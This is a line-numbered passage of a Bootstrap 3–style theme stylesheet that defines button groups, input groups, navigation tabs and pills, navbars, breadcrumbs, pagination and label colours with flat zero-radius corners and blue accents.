3652.btn-group-vertical > .btn:first-child:not(:last-child) {
3653 border-top-right-radius: 0;
3654 border-bottom-right-radius: 0;
3655 border-bottom-left-radius: 0;
3656}
3657.btn-group-vertical > .btn:last-child:not(:first-child) {
3658 border-bottom-left-radius: 0;
3659 border-top-right-radius: 0;
3660 border-top-left-radius: 0;
3661}
3662.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {
3663 border-radius: 0;
3664}
3665.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,
3666.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {
3667 border-bottom-right-radius: 0;
3668 border-bottom-left-radius: 0;
3669}
3670.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {
3671 border-top-right-radius: 0;
3672 border-top-left-radius: 0;
3673}
3674.btn-group-justified {
3675 display: table;
3676 width: 100%;
3677 table-layout: fixed;
3678 border-collapse: separate;
3679}
3680.btn-group-justified > .btn,
3681.btn-group-justified > .btn-group {
3682 float: none;
3683 display: table-cell;
3684 width: 1%;
3685}
3686.btn-group-justified > .btn-group .btn {
3687 width: 100%;
3688}
3689.btn-group-justified > .btn-group .dropdown-menu {
3690 left: auto;
3691}
3692[data-toggle="buttons"] > .btn input[type="radio"],
3693[data-toggle="buttons"] > .btn-group > .btn input[type="radio"],
3694[data-toggle="buttons"] > .btn input[type="checkbox"],
3695[data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] {
3696 position: absolute;
3697 clip: rect(0, 0, 0, 0);
3698 pointer-events: none;
3699}
3700.input-group {
3701 position: relative;
3702 display: table;
3703 border-collapse: separate;
3704}
3705.input-group[class*="col-"] {
3706 float: none;
3707 padding-left: 0;
3708 padding-right: 0;
3709}
3710.input-group .form-control {
3711 position: relative;
3712 z-index: 2;
3713 float: left;
3714 width: 100%;
3715 margin-bottom: 0;
3716}
3717.input-group-lg > .form-control,
3718.input-group-lg > .input-group-addon,
3719.input-group-lg > .input-group-btn > .btn {
3720 height: 64px;
3721 padding: 18px 30px;
3722 font-size: 19px;
3723 line-height: 1.3333333;
3724 border-radius: 0;
3725}
3726select.input-group-lg > .form-control,
3727select.input-group-lg > .input-group-addon,
3728select.input-group-lg > .input-group-btn > .btn {
3729 height: 64px;
3730 line-height: 64px;
3731}
3732textarea.input-group-lg > .form-control,
3733textarea.input-group-lg > .input-group-addon,
3734textarea.input-group-lg > .input-group-btn > .btn,
3735select[multiple].input-group-lg > .form-control,
3736select[multiple].input-group-lg > .input-group-addon,
3737select[multiple].input-group-lg > .input-group-btn > .btn {
3738 height: auto;
3739}
3740.input-group-sm > .form-control,
3741.input-group-sm > .input-group-addon,
3742.input-group-sm > .input-group-btn > .btn {
3743 height: 31px;
3744 padding: 5px 10px;
3745 font-size: 13px;
3746 line-height: 1.5;
3747 border-radius: 0;
3748}
3749select.input-group-sm > .form-control,
3750select.input-group-sm > .input-group-addon,
3751select.input-group-sm > .input-group-btn > .btn {
3752 height: 31px;
3753 line-height: 31px;
3754}
3755textarea.input-group-sm > .form-control,
3756textarea.input-group-sm > .input-group-addon,
3757textarea.input-group-sm > .input-group-btn > .btn,
3758select[multiple].input-group-sm > .form-control,
3759select[multiple].input-group-sm > .input-group-addon,
3760select[multiple].input-group-sm > .input-group-btn > .btn {
3761 height: auto;
3762}
3763.input-group-addon,
3764.input-group-btn,
3765.input-group .form-control {
3766 display: table-cell;
3767}
3768.input-group-addon:not(:first-child):not(:last-child),
3769.input-group-btn:not(:first-child):not(:last-child),
3770.input-group .form-control:not(:first-child):not(:last-child) {
3771 border-radius: 0;
3772}
3773.input-group-addon,
3774.input-group-btn {
3775 width: 1%;
3776 white-space: nowrap;
3777 vertical-align: middle;
3778}
3779.input-group-addon {
3780 padding: 10px 18px;
3781 font-size: 15px;
3782 font-weight: normal;
3783 line-height: 1;
3784 color: #333333;
3785 text-align: center;
3786 background-color: #e6e6e6;
3787 border: 1px solid #cccccc;
3788 border-radius: 0;
3789}
3790.input-group-addon.input-sm {
3791 padding: 5px 10px;
3792 font-size: 13px;
3793 border-radius: 0;
3794}
3795.input-group-addon.input-lg {
3796 padding: 18px 30px;
3797 font-size: 19px;
3798 border-radius: 0;
3799}
3800.input-group-addon input[type="radio"],
3801.input-group-addon input[type="checkbox"] {
3802 margin-top: 0;
3803}
3804.input-group .form-control:first-child,
3805.input-group-addon:first-child,
3806.input-group-btn:first-child > .btn,
3807.input-group-btn:first-child > .btn-group > .btn,
3808.input-group-btn:first-child > .dropdown-toggle,
3809.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),
3810.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {
3811 border-bottom-right-radius: 0;
3812 border-top-right-radius: 0;
3813}
3814.input-group-addon:first-child {
3815 border-right: 0;
3816}
3817.input-group .form-control:last-child,
3818.input-group-addon:last-child,
3819.input-group-btn:last-child > .btn,
3820.input-group-btn:last-child > .btn-group > .btn,
3821.input-group-btn:last-child > .dropdown-toggle,
3822.input-group-btn:first-child > .btn:not(:first-child),
3823.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {
3824 border-bottom-left-radius: 0;
3825 border-top-left-radius: 0;
3826}
3827.input-group-addon:last-child {
3828 border-left: 0;
3829}
3830.input-group-btn {
3831 position: relative;
3832 font-size: 0;
3833 white-space: nowrap;
3834}
3835.input-group-btn > .btn {
3836 position: relative;
3837}
3838.input-group-btn > .btn + .btn {
3839 margin-left: -1px;
3840}
3841.input-group-btn > .btn:hover,
3842.input-group-btn > .btn:focus,
3843.input-group-btn > .btn:active {
3844 z-index: 2;
3845}
3846.input-group-btn:first-child > .btn,
3847.input-group-btn:first-child > .btn-group {
3848 margin-right: -1px;
3849}
3850.input-group-btn:last-child > .btn,
3851.input-group-btn:last-child > .btn-group {
3852 margin-left: -1px;
3853}
3854.nav {
3855 margin-bottom: 0;
3856 padding-left: 0;
3857 list-style: none;
3858}
3859.nav > li {
3860 position: relative;
3861 display: block;
3862}
3863.nav > li > a {
3864 position: relative;
3865 display: block;
3866 padding: 10px 15px;
3867}
3868.nav > li > a:hover,
3869.nav > li > a:focus {
3870 text-decoration: none;
3871 background-color: #e6e6e6;
3872}
3873.nav > li.disabled > a {
3874 color: #999999;
3875}
3876.nav > li.disabled > a:hover,
3877.nav > li.disabled > a:focus {
3878 color: #999999;
3879 text-decoration: none;
3880 background-color: transparent;
3881 cursor: not-allowed;
3882}
3883.nav .open > a,
3884.nav .open > a:hover,
3885.nav .open > a:focus {
3886 background-color: #e6e6e6;
3887 border-color: #2780e3;
3888}
3889.nav .nav-divider {
3890 height: 1px;
3891 margin: 9.5px 0;
3892 overflow: hidden;
3893 background-color: #e5e5e5;
3894}
3895.nav > li > a > img {
3896 max-width: none;
3897}
3898.nav-tabs {
3899 border-bottom: 1px solid #dddddd;
3900}
3901.nav-tabs > li {
3902 float: left;
3903 margin-bottom: -1px;
3904}
3905.nav-tabs > li > a {
3906 margin-right: 2px;
3907 line-height: 1.42857143;
3908 border: 1px solid transparent;
3909 border-radius: 0 0 0 0;
3910}
3911.nav-tabs > li > a:hover {
3912 border-color: #e6e6e6 #e6e6e6 #dddddd;
3913}
3914.nav-tabs > li.active > a,
3915.nav-tabs > li.active > a:hover,
3916.nav-tabs > li.active > a:focus {
3917 color: #555555;
3918 background-color: #ffffff;
3919 border: 1px solid #dddddd;
3920 border-bottom-color: transparent;
3921 cursor: default;
3922}
3923.nav-tabs.nav-justified {
3924 width: 100%;
3925 border-bottom: 0;
3926}
3927.nav-tabs.nav-justified > li {
3928 float: none;
3929}
3930.nav-tabs.nav-justified > li > a {
3931 text-align: center;
3932 margin-bottom: 5px;
3933}
3934.nav-tabs.nav-justified > .dropdown .dropdown-menu {
3935 top: auto;
3936 left: auto;
3937}
3938@media (min-width: 768px) {
3939 .nav-tabs.nav-justified > li {
3940 display: table-cell;
3941 width: 1%;
3942 }
3943 .nav-tabs.nav-justified > li > a {
3944 margin-bottom: 0;
3945 }
3946}
3947.nav-tabs.nav-justified > li > a {
3948 margin-right: 0;
3949 border-radius: 0;
3950}
3951.nav-tabs.nav-justified > .active > a,
3952.nav-tabs.nav-justified > .active > a:hover,
3953.nav-tabs.nav-justified > .active > a:focus {
3954 border: 1px solid #dddddd;
3955}
3956@media (min-width: 768px) {
3957 .nav-tabs.nav-justified > li > a {
3958 border-bottom: 1px solid #dddddd;
3959 border-radius: 0 0 0 0;
3960 }
3961 .nav-tabs.nav-justified > .active > a,
3962 .nav-tabs.nav-justified > .active > a:hover,
3963 .nav-tabs.nav-justified > .active > a:focus {
3964 border-bottom-color: #ffffff;
3965 }
3966}
3967.nav-pills > li {
3968 float: left;
3969}
3970.nav-pills > li > a {
3971 border-radius: 0;
3972}
3973.nav-pills > li + li {
3974 margin-left: 2px;
3975}
3976.nav-pills > li.active > a,
3977.nav-pills > li.active > a:hover,
3978.nav-pills > li.active > a:focus {
3979 color: #ffffff;
3980 background-color: #2780e3;
3981}
3982.nav-stacked > li {
3983 float: none;
3984}
3985.nav-stacked > li + li {
3986 margin-top: 2px;
3987 margin-left: 0;
3988}
3989.nav-justified {
3990 width: 100%;
3991}
3992.nav-justified > li {
3993 float: none;
3994}
3995.nav-justified > li > a {
3996 text-align: center;
3997 margin-bottom: 5px;
3998}
3999.nav-justified > .dropdown .dropdown-menu {
4000 top: auto;
4001 left: auto;
4002}
4003@media (min-width: 768px) {
4004 .nav-justified > li {
4005 display: table-cell;
4006 width: 1%;
4007 }
4008 .nav-justified > li > a {
4009 margin-bottom: 0;
4010 }
4011}
4012.nav-tabs-justified {
4013 border-bottom: 0;
4014}
4015.nav-tabs-justified > li > a {
4016 margin-right: 0;
4017 border-radius: 0;
4018}
4019.nav-tabs-justified > .active > a,
4020.nav-tabs-justified > .active > a:hover,
4021.nav-tabs-justified > .active > a:focus {
4022 border: 1px solid #dddddd;
4023}
4024@media (min-width: 768px) {
4025 .nav-tabs-justified > li > a {
4026 border-bottom: 1px solid #dddddd;
4027 border-radius: 0 0 0 0;
4028 }
4029 .nav-tabs-justified > .active > a,
4030 .nav-tabs-justified > .active > a:hover,
4031 .nav-tabs-justified > .active > a:focus {
4032 border-bottom-color: #ffffff;
4033 }
4034}
4035.tab-content > .tab-pane {
4036 display: none;
4037 visibility: hidden;
4038}
4039.tab-content > .active {
4040 display: block;
4041 visibility: visible;
4042}
4043.nav-tabs .dropdown-menu {
4044 margin-top: -1px;
4045 border-top-right-radius: 0;
4046 border-top-left-radius: 0;
4047}
4048.navbar {
4049 position: relative;
4050 min-height: 50px;
4051 margin-bottom: 21px;
4052 border: 1px solid transparent;
4053}
4054@media (min-width: 768px) {
4055 .navbar {
4056 border-radius: 0;
4057 }
4058}
4059@media (min-width: 768px) {
4060 .navbar-header {
4061 float: left;
4062 }
4063}
4064.navbar-collapse {
4065 overflow-x: visible;
4066 padding-right: 15px;
4067 padding-left: 15px;
4068 border-top: 1px solid transparent;
4069 -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);
4070 box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);
4071 -webkit-overflow-scrolling: touch;
4072}
4073.navbar-collapse.in {
4074 overflow-y: auto;
4075}
4076@media (min-width: 768px) {
4077 .navbar-collapse {
4078 width: auto;
4079 border-top: 0;
4080 -webkit-box-shadow: none;
4081 box-shadow: none;
4082 }
4083 .navbar-collapse.collapse {
4084 display: block !important;
4085 visibility: visible !important;
4086 height: auto !important;
4087 padding-bottom: 0;
4088 overflow: visible !important;
4089 }
4090 .navbar-collapse.in {
4091 overflow-y: visible;
4092 }
4093 .navbar-fixed-top .navbar-collapse,
4094 .navbar-static-top .navbar-collapse,
4095 .navbar-fixed-bottom .navbar-collapse {
4096 padding-left: 0;
4097 padding-right: 0;
4098 }
4099}
4100.navbar-fixed-top .navbar-collapse,
4101.navbar-fixed-bottom .navbar-collapse {
4102 max-height: 340px;
4103}
4104@media (max-device-width: 480px) and (orientation: landscape) {
4105 .navbar-fixed-top .navbar-collapse,
4106 .navbar-fixed-bottom .navbar-collapse {
4107 max-height: 200px;
4108 }
4109}
4110.container > .navbar-header,
4111.container-fluid > .navbar-header,
4112.container > .navbar-collapse,
4113.container-fluid > .navbar-collapse {
4114 margin-right: -15px;
4115 margin-left: -15px;
4116}
4117@media (min-width: 768px) {
4118 .container > .navbar-header,
4119 .container-fluid > .navbar-header,
4120 .container > .navbar-collapse,
4121 .container-fluid > .navbar-collapse {
4122 margin-right: 0;
4123 margin-left: 0;
4124 }
4125}
4126.navbar-static-top {
4127 z-index: 1000;
4128 border-width: 0 0 1px;
4129}
4130@media (min-width: 768px) {
4131 .navbar-static-top {
4132 border-radius: 0;
4133 }
4134}
4135.navbar-fixed-top,
4136.navbar-fixed-bottom {
4137 position: fixed;
4138 right: 0;
4139 left: 0;
4140 z-index: 1030;
4141}
4142@media (min-width: 768px) {
4143 .navbar-fixed-top,
4144 .navbar-fixed-bottom {
4145 border-radius: 0;
4146 }
4147}
4148.navbar-fixed-top {
4149 top: 0;
4150 border-width: 0 0 1px;
4151}
4152.navbar-fixed-bottom {
4153 bottom: 0;
4154 margin-bottom: 0;
4155 border-width: 1px 0 0;
4156}
4157.navbar-brand {
4158 float: left;
4159 padding: 14.5px 15px;
4160 font-size: 19px;
4161 line-height: 21px;
4162 height: 50px;
4163}
4164.navbar-brand:hover,
4165.navbar-brand:focus {
4166 text-decoration: none;
4167}
4168.navbar-brand > img {
4169 display: block;
4170}
4171@media (min-width: 768px) {
4172 .navbar > .container .navbar-brand,
4173 .navbar > .container-fluid .navbar-brand {
4174 margin-left: -15px;
4175 }
4176}
4177.navbar-toggle {
4178 position: relative;
4179 float: right;
4180 margin-right: 15px;
4181 padding: 9px 10px;
4182 margin-top: 8px;
4183 margin-bottom: 8px;
4184 background-color: transparent;
4185 background-image: none;
4186 border: 1px solid transparent;
4187 border-radius: 0;
4188}
4189.navbar-toggle:focus {
4190 outline: 0;
4191}
4192.navbar-toggle .icon-bar {
4193 display: block;
4194 width: 22px;
4195 height: 2px;
4196 border-radius: 1px;
4197}
4198.navbar-toggle .icon-bar + .icon-bar {
4199 margin-top: 4px;
4200}
4201@media (min-width: 768px) {
4202 .navbar-toggle {
4203 display: none;
4204 }
4205}
4206.navbar-nav {
4207 margin: 7.25px -15px;
4208}
4209.navbar-nav > li > a {
4210 padding-top: 10px;
4211 padding-bottom: 10px;
4212 line-height: 21px;
4213}
4214@media (max-width: 767px) {
4215 .navbar-nav .open .dropdown-menu {
4216 position: static;
4217 float: none;
4218 width: auto;
4219 margin-top: 0;
4220 background-color: transparent;
4221 border: 0;
4222 -webkit-box-shadow: none;
4223 box-shadow: none;
4224 }
4225 .navbar-nav .open .dropdown-menu > li > a,
4226 .navbar-nav .open .dropdown-menu .dropdown-header {
4227 padding: 5px 15px 5px 25px;
4228 }
4229 .navbar-nav .open .dropdown-menu > li > a {
4230 line-height: 21px;
4231 }
4232 .navbar-nav .open .dropdown-menu > li > a:hover,
4233 .navbar-nav .open .dropdown-menu > li > a:focus {
4234 background-image: none;
4235 }
4236}
4237@media (min-width: 768px) {
4238 .navbar-nav {
4239 float: left;
4240 margin: 0;
4241 }
4242 .navbar-nav > li {
4243 float: left;
4244 }
4245 .navbar-nav > li > a {
4246 padding-top: 14.5px;
4247 padding-bottom: 14.5px;
4248 }
4249}
4250.navbar-form {
4251 margin-left: -15px;
4252 margin-right: -15px;
4253 padding: 10px 15px;
4254 border-top: 1px solid transparent;
4255 border-bottom: 1px solid transparent;
4256 -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);
4257 box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);
4258 margin-top: 3.5px;
4259 margin-bottom: 3.5px;
4260}
4261@media (min-width: 768px) {
4262 .navbar-form .form-group {
4263 display: inline-block;
4264 margin-bottom: 0;
4265 vertical-align: middle;
4266 }
4267 .navbar-form .form-control {
4268 display: inline-block;
4269 width: auto;
4270 vertical-align: middle;
4271 }
4272 .navbar-form .form-control-static {
4273 display: inline-block;
4274 }
4275 .navbar-form .input-group {
4276 display: inline-table;
4277 vertical-align: middle;
4278 }
4279 .navbar-form .input-group .input-group-addon,
4280 .navbar-form .input-group .input-group-btn,
4281 .navbar-form .input-group .form-control {
4282 width: auto;
4283 }
4284 .navbar-form .input-group > .form-control {
4285 width: 100%;
4286 }
4287 .navbar-form .control-label {
4288 margin-bottom: 0;
4289 vertical-align: middle;
4290 }
4291 .navbar-form .radio,
4292 .navbar-form .checkbox {
4293 display: inline-block;
4294 margin-top: 0;
4295 margin-bottom: 0;
4296 vertical-align: middle;
4297 }
4298 .navbar-form .radio label,
4299 .navbar-form .checkbox label {
4300 padding-left: 0;
4301 }
4302 .navbar-form .radio input[type="radio"],
4303 .navbar-form .checkbox input[type="checkbox"] {
4304 position: relative;
4305 margin-left: 0;
4306 }
4307 .navbar-form .has-feedback .form-control-feedback {
4308 top: 0;
4309 }
4310}
4311@media (max-width: 767px) {
4312 .navbar-form .form-group {
4313 margin-bottom: 5px;
4314 }
4315 .navbar-form .form-group:last-child {
4316 margin-bottom: 0;
4317 }
4318}
4319@media (min-width: 768px) {
4320 .navbar-form {
4321 width: auto;
4322 border: 0;
4323 margin-left: 0;
4324 margin-right: 0;
4325 padding-top: 0;
4326 padding-bottom: 0;
4327 -webkit-box-shadow: none;
4328 box-shadow: none;
4329 }
4330}
4331.navbar-nav > li > .dropdown-menu {
4332 margin-top: 0;
4333 border-top-right-radius: 0;
4334 border-top-left-radius: 0;
4335}
4336.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {
4337 margin-bottom: 0;
4338 border-top-right-radius: 0;
4339 border-top-left-radius: 0;
4340 border-bottom-right-radius: 0;
4341 border-bottom-left-radius: 0;
4342}
4343.navbar-btn {
4344 margin-top: 3.5px;
4345 margin-bottom: 3.5px;
4346}
4347.navbar-btn.btn-sm {
4348 margin-top: 9.5px;
4349 margin-bottom: 9.5px;
4350}
4351.navbar-btn.btn-xs {
4352 margin-top: 14px;
4353 margin-bottom: 14px;
4354}
4355.navbar-text {
4356 margin-top: 14.5px;
4357 margin-bottom: 14.5px;
4358}
4359@media (min-width: 768px) {
4360 .navbar-text {
4361 float: left;
4362 margin-left: 15px;
4363 margin-right: 15px;
4364 }
4365}
4366@media (min-width: 768px) {
4367 .navbar-left {
4368 float: left !important;
4369 }
4370 .navbar-right {
4371 float: right !important;
4372 margin-right: -15px;
4373 }
4374 .navbar-right ~ .navbar-right {
4375 margin-right: 0;
4376 }
4377}
4378.navbar-default {
4379 background-color: #222222;
4380 border-color: #121212;
4381}
4382.navbar-default .navbar-brand {
4383 color: #ffffff;
4384}
4385.navbar-default .navbar-brand:hover,
4386.navbar-default .navbar-brand:focus {
4387 color: #ffffff;
4388 background-color: none;
4389}
4390.navbar-default .navbar-text {
4391 color: #ffffff;
4392}
4393.navbar-default .navbar-nav > li > a {
4394 color: #ffffff;
4395}
4396.navbar-default .navbar-nav > li > a:hover,
4397.navbar-default .navbar-nav > li > a:focus {
4398 color: #ffffff;
4399 background-color: #090909;
4400}
4401.navbar-default .navbar-nav > .active > a,
4402.navbar-default .navbar-nav > .active > a:hover,
4403.navbar-default .navbar-nav > .active > a:focus {
4404 color: #ffffff;
4405 background-color: #090909;
4406}
4407.navbar-default .navbar-nav > .disabled > a,
4408.navbar-default .navbar-nav > .disabled > a:hover,
4409.navbar-default .navbar-nav > .disabled > a:focus {
4410 color: #cccccc;
4411 background-color: transparent;
4412}
4413.navbar-default .navbar-toggle {
4414 border-color: transparent;
4415}
4416.navbar-default .navbar-toggle:hover,
4417.navbar-default .navbar-toggle:focus {
4418 background-color: #090909;
4419}
4420.navbar-default .navbar-toggle .icon-bar {
4421 background-color: #ffffff;
4422}
4423.navbar-default .navbar-collapse,
4424.navbar-default .navbar-form {
4425 border-color: #121212;
4426}
4427.navbar-default .navbar-nav > .open > a,
4428.navbar-default .navbar-nav > .open > a:hover,
4429.navbar-default .navbar-nav > .open > a:focus {
4430 background-color: #090909;
4431 color: #ffffff;
4432}
4433@media (max-width: 767px) {
4434 .navbar-default .navbar-nav .open .dropdown-menu > li > a {
4435 color: #ffffff;
4436 }
4437 .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,
4438 .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {
4439 color: #ffffff;
4440 background-color: #090909;
4441 }
4442 .navbar-default .navbar-nav .open .dropdown-menu > .active > a,
4443 .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,
4444 .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {
4445 color: #ffffff;
4446 background-color: #090909;
4447 }
4448 .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,
4449 .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,
4450 .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {
4451 color: #cccccc;
4452 background-color: transparent;
4453 }
4454}
4455.navbar-default .navbar-link {
4456 color: #ffffff;
4457}
4458.navbar-default .navbar-link:hover {
4459 color: #ffffff;
4460}
4461.navbar-default .btn-link {
4462 color: #ffffff;
4463}
4464.navbar-default .btn-link:hover,
4465.navbar-default .btn-link:focus {
4466 color: #ffffff;
4467}
4468.navbar-default .btn-link[disabled]:hover,
4469fieldset[disabled] .navbar-default .btn-link:hover,
4470.navbar-default .btn-link[disabled]:focus,
4471fieldset[disabled] .navbar-default .btn-link:focus {
4472 color: #cccccc;
4473}
4474.navbar-inverse {
4475 background-color: #2780e3;
4476 border-color: #1967be;
4477}
4478.navbar-inverse .navbar-brand {
4479 color: #ffffff;
4480}
4481.navbar-inverse .navbar-brand:hover,
4482.navbar-inverse .navbar-brand:focus {
4483 color: #ffffff;
4484 background-color: none;
4485}
4486.navbar-inverse .navbar-text {
4487 color: #ffffff;
4488}
4489.navbar-inverse .navbar-nav > li > a {
4490 color: #ffffff;
4491}
4492.navbar-inverse .navbar-nav > li > a:hover,
4493.navbar-inverse .navbar-nav > li > a:focus {
4494 color: #ffffff;
4495 background-color: #1967be;
4496}
4497.navbar-inverse .navbar-nav > .active > a,
4498.navbar-inverse .navbar-nav > .active > a:hover,
4499.navbar-inverse .navbar-nav > .active > a:focus {
4500 color: #ffffff;
4501 background-color: #1967be;
4502}
4503.navbar-inverse .navbar-nav > .disabled > a,
4504.navbar-inverse .navbar-nav > .disabled > a:hover,
4505.navbar-inverse .navbar-nav > .disabled > a:focus {
4506 color: #ffffff;
4507 background-color: transparent;
4508}
4509.navbar-inverse .navbar-toggle {
4510 border-color: transparent;
4511}
4512.navbar-inverse .navbar-toggle:hover,
4513.navbar-inverse .navbar-toggle:focus {
4514 background-color: #1967be;
4515}
4516.navbar-inverse .navbar-toggle .icon-bar {
4517 background-color: #ffffff;
4518}
4519.navbar-inverse .navbar-collapse,
4520.navbar-inverse .navbar-form {
4521 border-color: #1a6ecc;
4522}
4523.navbar-inverse .navbar-nav > .open > a,
4524.navbar-inverse .navbar-nav > .open > a:hover,
4525.navbar-inverse .navbar-nav > .open > a:focus {
4526 background-color: #1967be;
4527 color: #ffffff;
4528}
4529@media (max-width: 767px) {
4530 .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {
4531 border-color: #1967be;
4532 }
4533 .navbar-inverse .navbar-nav .open .dropdown-menu .divider {
4534 background-color: #1967be;
4535 }
4536 .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {
4537 color: #ffffff;
4538 }
4539 .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,
4540 .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {
4541 color: #ffffff;
4542 background-color: #1967be;
4543 }
4544 .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,
4545 .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,
4546 .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {
4547 color: #ffffff;
4548 background-color: #1967be;
4549 }
4550 .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,
4551 .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,
4552 .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {
4553 color: #ffffff;
4554 background-color: transparent;
4555 }
4556}
4557.navbar-inverse .navbar-link {
4558 color: #ffffff;
4559}
4560.navbar-inverse .navbar-link:hover {
4561 color: #ffffff;
4562}
4563.navbar-inverse .btn-link {
4564 color: #ffffff;
4565}
4566.navbar-inverse .btn-link:hover,
4567.navbar-inverse .btn-link:focus {
4568 color: #ffffff;
4569}
4570.navbar-inverse .btn-link[disabled]:hover,
4571fieldset[disabled] .navbar-inverse .btn-link:hover,
4572.navbar-inverse .btn-link[disabled]:focus,
4573fieldset[disabled] .navbar-inverse .btn-link:focus {
4574 color: #ffffff;
4575}
4576.breadcrumb {
4577 padding: 8px 15px;
4578 margin-bottom: 21px;
4579 list-style: none;
4580 background-color: #f5f5f5;
4581 border-radius: 0;
4582}
4583.breadcrumb > li {
4584 display: inline-block;
4585}
4586.breadcrumb > li + li:before {
4587 content: "/\00a0";
4588 padding: 0 5px;
4589 color: #cccccc;
4590}
4591.breadcrumb > .active {
4592 color: #999999;
4593}
4594.pagination {
4595 display: inline-block;
4596 padding-left: 0;
4597 margin: 21px 0;
4598 border-radius: 0;
4599}
4600.pagination > li {
4601 display: inline;
4602}
4603.pagination > li > a,
4604.pagination > li > span {
4605 position: relative;
4606 float: left;
4607 padding: 10px 18px;
4608 line-height: 1.42857143;
4609 text-decoration: none;
4610 color: #2780e3;
4611 background-color: #ffffff;
4612 border: 1px solid #dddddd;
4613 margin-left: -1px;
4614}
4615.pagination > li:first-child > a,
4616.pagination > li:first-child > span {
4617 margin-left: 0;
4618 border-bottom-left-radius: 0;
4619 border-top-left-radius: 0;
4620}
4621.pagination > li:last-child > a,
4622.pagination > li:last-child > span {
4623 border-bottom-right-radius: 0;
4624 border-top-right-radius: 0;
4625}
4626.pagination > li > a:hover,
4627.pagination > li > span:hover,
4628.pagination > li > a:focus,
4629.pagination > li > span:focus {
4630 color: #165ba8;
4631 background-color: #e6e6e6;
4632 border-color: #dddddd;
4633}
4634.pagination > .active > a,
4635.pagination > .active > span,
4636.pagination > .active > a:hover,
4637.pagination > .active > span:hover,
4638.pagination > .active > a:focus,
4639.pagination > .active > span:focus {
4640 z-index: 2;
4641 color: #999999;
4642 background-color: #f5f5f5;
4643 border-color: #dddddd;
4644 cursor: default;
4645}
4646.pagination > .disabled > span,
4647.pagination > .disabled > span:hover,
4648.pagination > .disabled > span:focus,
4649.pagination > .disabled > a,
4650.pagination > .disabled > a:hover,
4651.pagination > .disabled > a:focus {
4652 color: #999999;
4653 background-color: #ffffff;
4654 border-color: #dddddd;
4655 cursor: not-allowed;
4656}
4657.pagination-lg > li > a,
4658.pagination-lg > li > span {
4659 padding: 18px 30px;
4660 font-size: 19px;
4661}
4662.pagination-lg > li:first-child > a,
4663.pagination-lg > li:first-child > span {
4664 border-bottom-left-radius: 0;
4665 border-top-left-radius: 0;
4666}
4667.pagination-lg > li:last-child > a,
4668.pagination-lg > li:last-child > span {
4669 border-bottom-right-radius: 0;
4670 border-top-right-radius: 0;
4671}
4672.pagination-sm > li > a,
4673.pagination-sm > li > span {
4674 padding: 5px 10px;
4675 font-size: 13px;
4676}
4677.pagination-sm > li:first-child > a,
4678.pagination-sm > li:first-child > span {
4679 border-bottom-left-radius: 0;
4680 border-top-left-radius: 0;
4681}
4682.pagination-sm > li:last-child > a,
4683.pagination-sm > li:last-child > span {
4684 border-bottom-right-radius: 0;
4685 border-top-right-radius: 0;
4686}
4687.pager {
4688 padding-left: 0;
4689 margin: 21px 0;
4690 list-style: none;
4691 text-align: center;
4692}
4693.pager li {
4694 display: inline;
4695}
4696.pager li > a,
4697.pager li > span {
4698 display: inline-block;
4699 padding: 5px 14px;
4700 background-color: #ffffff;
4701 border: 1px solid #dddddd;
4702 border-radius: 0;
4703}
4704.pager li > a:hover,
4705.pager li > a:focus {
4706 text-decoration: none;
4707 background-color: #e6e6e6;
4708}
4709.pager .next > a,
4710.pager .next > span {
4711 float: right;
4712}
4713.pager .previous > a,
4714.pager .previous > span {
4715 float: left;
4716}
4717.pager .disabled > a,
4718.pager .disabled > a:hover,
4719.pager .disabled > a:focus,
4720.pager .disabled > span {
4721 color: #999999;
4722 background-color: #ffffff;
4723 cursor: not-allowed;
4724}
4725.label {
4726 display: inline;
4727 padding: .2em .6em .3em;
4728 font-size: 75%;
4729 font-weight: bold;
4730 line-height: 1;
4731 color: #ffffff;
4732 text-align: center;
4733 white-space: nowrap;
4734 vertical-align: baseline;
4735 border-radius: .25em;
4736}
4737a.label:hover,
4738a.label:focus {
4739 color: #ffffff;
4740 text-decoration: none;
4741 cursor: pointer;
4742}
4743.label:empty {
4744 display: none;
4745}
4746.btn .label {
4747 position: relative;
4748 top: -1px;
4749}
4750.label-default {
4751 background-color: #222222;
4752}
4753.label-default[href]:hover,
4754.label-default[href]:focus {
4755 background-color: #090909;
4756}
4757.label-primary {
4758 background-color: #2780e3;
4759}
4760.label-primary[href]:hover,
4761.label-primary[href]:focus {
4762 background-color: #1967be;
4763}
4764.label-success {
4765 background-color: #3fb618;
4766}
4767.label-success[href]:hover,
4768.label-success[href]:focus {
4769 background-color: #2f8912;
4770}
4771.label-info {
4772 background-color: #9954bb;
4773}
4774.label-info[href]:hover,
4775.label-info[href]:focus {
4776 background-color: #7e3f9d;
4777}
4778.label-warning {
4779 background-color: #ff7518;
4780}
4781.label-warning[href]:hover,
4782.label-warning[href]:focus {
4783 background-color: #e45c00;
4784}
